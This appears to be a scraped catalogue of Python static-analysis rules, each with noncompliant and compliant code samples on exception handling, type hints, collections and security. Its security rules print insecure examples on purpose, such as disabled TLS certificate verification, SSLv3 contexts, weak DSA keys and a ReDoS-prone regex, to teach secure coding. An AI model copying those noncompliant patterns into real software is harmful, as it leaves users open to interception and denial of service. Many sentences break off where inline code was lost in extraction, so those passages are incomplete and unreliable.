Exceptions handlers ( In some contexts an except block is dead code as it will never catch any exception:
This rule raises an issue when an Noncompliant Code Exampledef foo(): try: raise FloatingPointError() except (ArithmeticError, RuntimeError) as e: print(e) except FloatingPointError as e: # Noncompliant. FloatingPointError is a subclass of ArithmeticError print("Never executed") except OverflowError as e: # Noncompliant. OverflowError is a subclass of ArithmeticError print("Never executed") try: raise TypeError() except TypeError as e: print(e) except TypeError as e: # Noncompliant. Duplicate Except. print("Never executed") try: raise ValueError() except BaseException as e: print(e) except: # Noncompliant. This is equivalent to "except BaseException" block print("Never executed") Compliant Solutiondef foo(): try: raise FloatingPointError() except FloatingPointError as e: print("Executed") except OverflowError as e: print("Executed") except (ArithmeticError, RuntimeError) as e: print(e) try: raise TypeError() except TypeError as e: print(e) try: raise ValueError() except BaseException as e: print(e) See * Python Documentation - The |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3981 |
The length of a collection is always greater than or equal to zero. So testing that a length is greater than or equal to zero doesn't make sense,
since the result is always Noncompliant Code Examplemylist = [] if len(myList) >= 0: # Noncompliant pass if len(myList) < 0: # Noncompliant pass Compliant Solutionmylist = [] if len(myList) >= 42: pass if len(myList) == 0: pass |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3984 |
Creating a new Noncompliant Code Exampledef func(x): if not isinstance(x, int): TypeError("Wrong type for parameter 'x'. func expects an integer") # Noncompliant if x < 0: ValueError # Noncompliant return x + 42 Compliant Solutiondef func(x): if not isinstance(x, int): raise TypeError("Wrong type for parameter 'x'. func expects an integer") if x < 0: raise ValueError return x + 42 See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3862 |
For-in loops, Note also that iterating over an asynchronous iterable, i.e. an
object having the This rule raises an issue when a non iterable object is used in a Noncompliant Code Exampleclass Empty: pass empty = Empty() for a in empty: # Noncompliant print(a) a, b, c = empty # Noncompliant print(*empty) # Noncompliant [1, 2, 3, *empty] # Noncompliant # yield from def generator(): yield from Empty() # Noncompliant # async generators async def async_generator(): yield 1 a, *rest = async_generator() # Noncompliant for a in async_generator(): # Noncompliant; "async" is missing before "for" print(a) Compliant Solutionclass MyIterable: def __init__(self, values): self._values = values def __iter__(self): return iter(self._values) my_iterable = MyIterable(range(10)) for a in my_iterable: print(a) a, b, *c = my_iterable print(*my_iterable) [1, 2, 3, *my_iterable] # yield from def generator(): yield from subgenerator() def subgenerator(): yield 1 # async generators async def async_generator(): yield 1 async for a in async_generator(): print(a) See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5886 |
Developers can use type hints to specify which type a function is expected to return. These annotations are not enforced at runtime and returning a different type might not fail. It is however likely to be unintended and will lead to maintainability issues, if not bugs. This rule raises an issue when a function or method returns a value that contradicts its type hint. Noncompliant Code Exampledef hello() -> str: return 42 # Noncompliant. Function's type hint asks for a string return value Compliant Solutiondef hello() -> str: return "Hello" See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4830 |
Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks. The certificate chain validation includes these steps:
It's not recommended to reinvent the wheel by implementing custom certificate chain validation. TLS libraries provide built-in certificate validation functions that should be used. Noncompliant Code Examplepsf/requests library: import requests requests.request('GET', 'https://example.domain', verify=False) # Noncompliant requests.get('https://example.domain', verify=False) # Noncompliant Python ssl standard library: import ssl ctx1 = ssl._create_unverified_context() # Noncompliant: by default certificate validation is not done ctx2 = ssl._create_stdlib_context() # Noncompliant: by default certificate validation is not done ctx3 = ssl.create_default_context() ctx3.verify_mode = ssl.CERT_NONE # Noncompliant pyca/pyopenssl library: from OpenSSL import SSL ctx1 = SSL.Context(SSL.TLSv1_2_METHOD) # Noncompliant: by default certificate validation is not done ctx2 = SSL.Context(SSL.TLSv1_2_METHOD) ctx2.set_verify(SSL.VERIFY_NONE, verify_callback) # Noncompliant Compliant Solutionpsf/requests library: import requests requests.request('GET', 'https://example.domain', verify=True) requests.request('GET', 'https://example.domain', verify='/path/to/CAbundle') requests.get(url='https://example.domain') # by default certificate validation is enabled Python ssl standard library: import ssl ctx = ssl.create_default_context() ctx.verify_mode = ssl.CERT_REQUIRED ctx = ssl._create_default_https_context() # by default certificate validation is enabled pyca/pyopenssl library: from OpenSSL import SSL ctx = SSL.Context(SSL.TLSv1_2_METHOD) ctx.set_verify(SSL.VERIFY_PEER, verify_callback) # Compliant ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback) # Compliant ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback) # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5644 |
Getting, setting and deleting items using square brackets requires the accessed object to have special methods:
This rule raises an issue when an item operation is performed on an object which doesn't have the corresponding method. Noncompliant Code Exampledel (1, 2)[0] # Noncompliant, tuples are immutable (1, 2)[0] = 42 # Noncompliant (1, 2)[0] class A: def __init__(self, values): self._values = values a = A([0,1,2]) a[0] # Noncompliant del a[0] # Noncompliant a[0] = 42 # Noncompliant class B: pass B[0] # Noncompliant Compliant Solutiondel [1, 2][0] # Lists are mutable [1, 2][0] = 42 [1, 2][0] class A: def __init__(self, values): self._values = values def __getitem__(self, key): return self._values[key] def __setitem__(self, key, value): self._values[key] = value def __delitem__(self, key): del self._values[key] a = A([0,1,2]) a[0] del a[0] a[0] = 42 class B: def __class_getitem__(cls, key): return [0, 1, 2, 3][key] B[0] See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1720 |
A string literal that is the first statement in a module, function, class, or method is a docstring. A docstring should document what a caller needs to know about the code. Information about what it does, what it returns, and what it requires are all valid candidates for documentation. Well written docstrings allow callers to use your code without having to first read it and understand its logic. By convention, docstrings are enclosed in three sets of double-quotes. Noncompliant Code Exampledef my_function(a,b): Compliant Solutiondef my_function(a,b): """Do X""" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3985 |
"Private" nested classes that are never used inside the enclosing class are usually dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced. Python has no real private classes. Every class is accessible. There are however two conventions indicating that a class is not meant to be "public":
This rule raises an issue when a private nested class (either with one or two leading underscores) is never used inside its parent class. Noncompliant Code Exampleclass Noncompliant: class __MyClass1(): # Noncompliant pass class _MyClass2(): # Noncompliant pass Compliant Solutionclass Compliant: class __MyClass1(): pass class _MyClass2(): pass def process(self): return Compliant.__MyClass1() def process(self): return Compliant._MyClass2() See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4143 |
It is highly suspicious when a value is saved in a collection for a given key or index and then unconditionally overwritten. Such replacements are likely errors. This rule raises an issue when the Noncompliant Code Exampledef swap(mylist, index1, index2): tmp = mylist[index2] mylist[index2] = mylist[index1] mylist[index2] = tmp # Noncompliant list2 = [0,1,2,3,4,5,6,7,8,9] list2[3:5] = [42,42] list2[3:5] = [42,42] # Noncompliant mymap = {'a': {}} mymap['a']['b'] = 42 mymap['a']['b'] = 42 # Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S125 |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1707 |
TODO and FIXME comments are typically intended to be short-lived; they are placeholders and reminders that programmers leave for themselves. Unfortunately, even with the best of intentions, those comments are not always acted on and removed in a timely manner. Thus, they can become mysterious, lingering cruft in a code base, reducing both readability and understand-ability. This rule flags all FIXME and TODO comments that do not have an attribution matching the specified regular expression immediately after the FIXME or TODO. Ideally, such comments will also contain information about what needs to be fixed or done, but this rule does not enforce that. Noncompliant Code Example# TODO Compliant Solution# TODO(ganncamp) per the business partners, more checks needed |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:CommentRegularExpression |
This rule template can be used to create rules which will be triggered when a comment matches a given regular expression. For example, one can create a rule with the regular expression Note that, in order to match REVIEW regardless of the case, the |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:LongIntegerWithLowercaseSuffixUsage |
The long suffix should always be written in uppercase, i.e. 'L', as the lowercase 'l' can easily be confused with the digit one '1'. Noncompliant Code Examplereturn 10l // Noncompliant; easily confused with one zero one Compliant Solutionreturn 10L |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:FunctionComplexity |
The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4823 |
Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities: Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized. Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure. This rule raises an issue on every reference to Ask Yourself Whether
If you answered yes to any of these questions you are at risk. Recommended Secure Coding PracticesSanitize all command line arguments before using them. Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information. See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4829 |
Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities: It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated. This rule flags code that reads from the standard input. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesSanitize all data read from the standard input before using it. Sensitive Code ExamplePython 2 and Python 3 import sys from sys import stdin, __stdin__ # Any reference to sys.stdin or sys.__stdin__ without a method call is Sensitive sys.stdin # Sensitive for line in sys.stdin: # Sensitive print(line) it = iter(sys.stdin) # Sensitive line = next(it) # Calling the following methods on stdin or __stdin__ is sensitive sys.stdin.read() # Sensitive sys.stdin.readline() # Sensitive sys.stdin.readlines() # Sensitive # Calling other methods on stdin or __stdin__ does not require a review, thus it is not Sensitive sys.stdin.seekable() # Ok # ... Python 2 only raw_input('What is your password?') # Sensitive Python 3 only input('What is your password?') # Sensitive Function for line in fileinput.input(): # Sensitive print(line) for line in fileinput.FileInput(): # Sensitive print(line) for line in fileinput.input(['setup.py']): # Ok print(line) for line in fileinput.FileInput(['setup.py']): # Ok print(line) See:
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1716 |
Therefore, these statements should not be used outside of loops. Noncompliant Code Examplenarg=len(sys.argv) if narg == 1: print('@Usage: input_filename nelements nintervals') break Compliant Solutionif narg == 1: print('@Usage: input_filename nelements nintervals') sys.exit() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4828 |
Signalling processes is security-sensitive. It has led in the past to the following vulnerabilities: Sending signals without checking properly which process will receive it can cause a denial of service. Ask Yourself Whether* the PID of the process to which the signal will be sent is coming from an untrusted source. It could for example come from a world-writable file. * users who are asking for the signal to be sent might not have the permission to send those signals. There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices* If the signal is sent because of a user's request. Check that the user is allowed to send this signal. You can for example forbid it if the user doesn't own the process. * Secure the source from which the process PID is read. * Run the process sending the signals with minimal permissions. Sensitive Code Exampleimport os def send_signal(pid, sig, pgid): os.kill(pid, sig) # Sensitive os.killpg(pgid, sig) # Sensitive See* MITRE, CWE-283 - Unverified Ownership |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1717 |
Typically, backslashes are seen only as part of escape sequences. Therefore, the use of a backslash outside of a raw string or escape sequence looks suspiciously like a broken escape sequence. Characters recognized as escape-able are: Noncompliant Code Examples = "Hello \world." t = "Nice to \ meet you" u = "Let's have \ lunch" Compliant Solutions = "Hello world." t = "Nice to \\ meet you" u = r"Let's have \ lunch" // raw string DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4784 |
Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities: Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as
Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users. This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following
characters: Example: Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesCheck whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using. Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2. Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection. Sensitive Code ExampleDjango from django.core.validators import RegexValidator from django.urls import re_path RegexValidator('(a*)*b') # Sensitive def define_http_endpoint(view): re_path(r'^(a*)*b/$', view) # Sensitive
import re from re import compile, match, search, fullmatch, split, findall, finditer, sub, subn input = 'input string' replacement = 'replacement' re.compile('(a*)*b') # Sensitive re.match('(a*)*b', input) # Sensitive re.search('(a*)*b', input) # Sensitive re.fullmatch('(a*)*b', input) # Sensitive re.split('(a*)*b', input) # Sensitive re.findall('(a*)*b', input) # Sensitive re.finditer('(a*)*b',input) # Sensitive re.sub('(a*)*b', replacement, input) # Sensitive re.subn('(a*)*b', replacement, input) # Sensitive
import regex from regex import compile, match, search, fullmatch, split, findall, finditer, sub, subn, subf, subfn, splititer input = 'input string' replacement = 'replacement' regex.subf('(a*)*b', replacement, input) # Sensitive regex.subfn('(a*)*b', replacement, input) # Sensitive regex.splititer('(a*)*b', input) # Sensitive regex.compile('(a*)*b') # Sensitive regex.match('(a*)*b', input) # Sensitive regex.search('(a*)*b', input) # Sensitive regex.fullmatch('(a*)*b', input) # Sensitive regex.split('(a*)*b', input) # Sensitive regex.findall('(a*)*b', input) # Sensitive regex.finditer('(a*)*b',input) # Sensitive regex.sub('(a*)*b', replacement, input) # Sensitive regex.subn('(a*)*b', replacement, input) # Sensitive ExceptionsSome corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: It is a good idea to test your regular expression if it has the same pattern on both side of a " See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3330 |
When a cookie is configured with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleFlask: from flask import Response @app.route('/') def index(): response = Response() response.set_cookie('key', 'value') # Sensitive return response Compliant SolutionFlask: from flask import Response @app.route('/') def index(): response = Response() response.set_cookie('key', 'value', httponly=True) # Compliant return response See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5632 |
In Python 3, attempting to raise an object which does not derive from BaseException will raise a If you are about to create a custom Exception class, note that custom exceptions should inherit from This rule raises an issue when an object which doesn't derive from BaseException is raised. Noncompliant Code Exampleraise "Something went wrong" # Noncompliant class A: pass raise A # Noncompliant Compliant Solutionclass MyError(Exception): pass raise MyError("Something went wrong") raise MyError See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S134 |
Nested Noncompliant Code ExampleThe following code snippet illustrates this rule with the default threshold of 3. if condition1: # Compliant - depth = 1 # ... if condition2: # Compliant - depth = 2 # ... for i in range(10): # Compliant - depth = 3, not exceeding the limit # ... if condition4: # Non-Compliant - depth = 4 if condition5: # Depth = 5, exceeding the limit, but issues are only reported on depth = 4 # ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4144 |
When two functions or methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Numerical and string literals are not taken into account. Noncompliant Code Exampleclass MyClass: code = "bounteous" def calculate_code(self): self.do_the_thing() return self.__class__.code def get_name(self): # Noncompliant self.do_the_thing() return self.__class__.code def do_the_thing(self): pass # on purpose Compliant Solutionclass MyClass: code = "bounteous" def calculate_code(self): self.do_the_thing() return self.__class__.code def get_name(self): return self.calculate_code() def do_the_thing(self): pass # on purpose ExceptionsNo issue will be raised on empty methods/functions and methods/functions with only one line of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5756 |
In order to be callable, a python class should implement the This rule raises an issue when a non-callable object is called. Noncompliant Code Exampleclass MyClass: pass myvar = MyClass() myvar() # Noncompliant none_var = None none_var() # Noncompliant Compliant Solutionclass MyClass: def __call__(self): print("called") myvar = MyClass() myvar() See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4426 |
When generating cryptographic keys (or key pairs), it is important to use strong parameters. Key length, for instance, should provides enough entropy against brute-force attacks.
This rule raises an issue when an It supports the following libraries: Noncompliant Code Examplefrom cryptography.hazmat.primitives.asymmetric import rsa, ec, dsa dsa.generate_private_key(key_size=1024, backend=backend) # Noncompliant rsa.generate_private_key(public_exponent=999, key_size=2048, backend=backend) # Noncompliant ec.generate_private_key(curve=ec.SECT163R2, backend=backend) # Noncompliant Compliant Solutionfrom cryptography.hazmat.primitives.asymmetric import rsa, ec, dsa dsa.generate_private_key(key_size=2048, backend=backend) # Compliant rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=backend) # Compliant ec.generate_private_key(curve=ec.SECT409R1, backend=backend) # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2245 |
Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities: When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleimport random random.getrandbits(1) # Sensitive random.randint(0,9) # Sensitive random.random() # Sensitive # the following functions are sadly used to generate salt by selecting characters in a string ex: "abcdefghijk"... random.sample(['a', 'b'], 1) # Sensitive random.choice(['a', 'b']) # Sensitive random.choices(['a', 'b']) # Sensitive See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5754 |
A bare Note that it is also a good idea to reraise the This rule raises an issue when a bare Noncompliant Code Exampletry: open("foo.txt", "r") except SystemExit: # Noncompliant pass except KeyboardInterrupt: # No issue raised but be careful when you do this pass try: open("bar.txt", "r") except BaseException: # Noncompliant pass except: # Noncompliant pass Compliant Solutiontry: open("foo.txt", "r") except SystemExit: # clean-up raise except KeyboardInterrupt: # clean-up raise try: open("bar.txt", "r") except BaseException as e: # clean-up raise e except: # Noncompliant # clean-up raise # or use a more specific exception try: open("bar.txt", "r") except FileNotFoundError: # process the exception See* PEP 352 - Required Superclass for Exceptions * Python Documentation - Built-in exceptions * Python Documentation - The * MITRE, CWE-391 - Unchecked Error Condition |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4423 |
Older versions of SSL/TLS protocol like "SSLv3" have been proven to be insecure. This rule raises an issue when an SSL/TLS context is created with an insecure protocol version, i.e. when one of the following constants is detected in the code:
Protocol versions different from TLSv1.2 and TLSv1.3 are considered insecure. Noncompliant Code Examplefrom OpenSSL import SSL SSL.Context(SSL.SSLv3_METHOD) # Noncompliant import ssl ssl.SSLContext(ssl.PROTOCOL_SSLv3) # Noncompliant Compliant Solutionfrom OpenSSL import SSL SSL.Context(SSL.TLSv1_2_METHOD) # Compliant import ssl ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3457 |
Formatting strings, either with the This also applies to loggers from the Formatted string literals, also called "f-strings", are generally simpler to use, and any syntax mistake will fail at compile time. However it is easy to forget curly braces and it won't raise any error. This rule raises an issue when:
Rule S2275 covers cases where formatting a string will raise an exception. Noncompliant Code Example"Error %(message)s" % {"message": "something failed", "extra": "some dead code"} # Noncompliant. Remove the unused argument "extra" or add a replacement field. "Error: User {} has not been able to access []".format("Alice", "MyFile") # Noncompliant. Remove 1 unexpected argument or add a replacement field. user = "Alice" resource = "MyFile" message = f"Error: User [user] has not been able to access [resource]" # Noncompliant. Add replacement fields or use a normal string instead of an f-string. import logging logging.error("Error: User %s has not been able to access %s", "Alice") # Noncompliant. Add 1 missing argument. Compliant Solution"Error %(message)s" % {"message": "something failed"} "Error: User {} has not been able to access {}".format("Alice", "MyFile") user = "Alice" resource = "MyFile" message = f"Error: User {user} has not been able to access {resource}" import logging logging.error("Error: User %s has not been able to access %s", "Alice", "MyFile") See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1313 |
Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities: Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:
Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact. Ask Yourself WhetherThe disclosed IP address is sensitive, eg:
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesDon't hard-code the IP address in the source code, instead make it configurable. Sensitive Code Exampleip = '192.168.12.42' sock = socket.socket() sock.bind((ip, 9090)) Compliant Solutionip = config.get(section, ipAddress) sock = socket.socket() sock.bind((ip, 9090)) ExceptionsNo issue is reported for the following cases because they are not considered sensitive:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4787 |
Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities: Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.
This rule flags function calls that initiate encryption/decryption. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Example
from cryptography.fernet import Fernet from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305, AESGCM, AESCCM from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.ciphers import Cipher def encrypt(key): Fernet(key) # Sensitive ChaCha20Poly1305(key) # Sensitive AESGCM(key) # Sensitive AESCCM(key) # Sensitive private_key = rsa.generate_private_key() # Sensitive def encrypt2(algorithm, mode, backend): Cipher(algorithm, mode, backend) # Sensitive
from nacl.public import Box from nacl.secret import SecretBox def public_encrypt(secret_key, public_key): Box(secret_key, public_key) # Sensitive def secret_encrypt(key): SecretBox(key) # Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5781 |
A set cannot have two identical values. When a value is repeated in a set literal, only the last occurence will remain. Thus duplicate values should be either modified or removed. This rule raises an issue when the same value is used multiple times as a value in a set literal. Noncompliant Code Example{"one", "two", "one"} # Noncompliant def func(a1, a2, a3): {a1, a2, a1} # Noncompliant. Compliant Solution{"one", "two", "three"} def func(a1, a2, a3): {a1, a2, a3} See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5780 |
A dictionary cannot have two values with the same key. When a key is repeated in a dictionary literal, only the last occurence will remain. Thus duplicate keys should be either modified or removed. This rule raises an issue when the same value is used multiple times as a key in a dictionary literal. Noncompliant Code Example{"one": 1, "two": 2, "one": 3} # Noncompliant def func(a1, a2, a3): {a1: 1, a2: 2, a1: 3} # Noncompliant. Compliant Solution{"one": 1, "two": 2, "three": 3} def func(a1, a2, a3): {a1: 1, a2: 2, a3: 3} See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2712 |
Functions that use Either upgrade your version of Python to a version >= 3.3, or don't use both return and yield in a function. Noncompliant Code Exampledef adder(n): num = 0 while num < n: yield num num += 1 return num #Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1226 |
While it is technically correct to assign to parameters from within function bodies, doing so before the parameter value is read is likely a bug. Instead, initial values of parameters should be, if not treated as read-only, then at least read before reassignment. Noncompliant Code Exampledef foo(strings, param): param = 1 # NonCompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5706 |
The special method Raising this exception will make the stack trace difficult to understand. The This rule raises an issue when:
Noncompliant Code Exampleclass MyContextManager: def __enter__(self): return self def __exit__(self, *args): raise # Noncompliant raise args[2] # Noncompliant class MyContextManager: def __enter__(self): return self def __exit__(self, exc_type, exc_value, traceback): raise exc_value # Noncompliant Compliant Solutionclass MyContextManager: def __enter__(self): return self def __exit__(self, exc_type, exc_value, traceback): # by default the function will return None, which is always False, and the exc_value will naturally raise. pass class MyContextManager: def __enter__(self, stop_exceptions): return self def __exit__(self, *args): try: print("42") except: print("exception") raise # No issue when raising another exception. The __exit__ method can fail and raise an exception raise MemoryError("No more memory") # This is ok too. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2711 |
Noncompliant Code Exampleclass MyClass: while True: return False #Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5549 |
When a function is called, it accepts only one value per parameter. Python interpreters will raise a SyntaxError when they see something like
This rule raises an issue when a function is called with multiple values for the same parameter. Noncompliant Code Exampledef func(a, b, c): return a * b * c func(6, 93, 31, c=62) # Noncompliant: argument "c" is duplicated params = {'c':31} func(6, 93, 31, **params) # Noncompliant: argument "c" is duplicated func(6, 93, c=62, **params) # Noncompliant: argument "c" is duplicated Compliant Solutiondef func(a, b, c): return a * b * c print(func(c=31, b=93, a=6)) # Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3923 |
Having the same implementation in every branch of an Noncompliant Code Exampleif b == 0: # Noncompliant doOneMoreThing() elif b == 1: doOneMoreThing() else: doOneMoreThing() b = 4 if a > 12 else 4 # Noncompliant ExceptionsThis rule does not apply to if b == 0: # no issue, this could have been done on purpose to make the code more readable doOneMoreThing() elif b == 1: doOneMoreThing() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5704 |
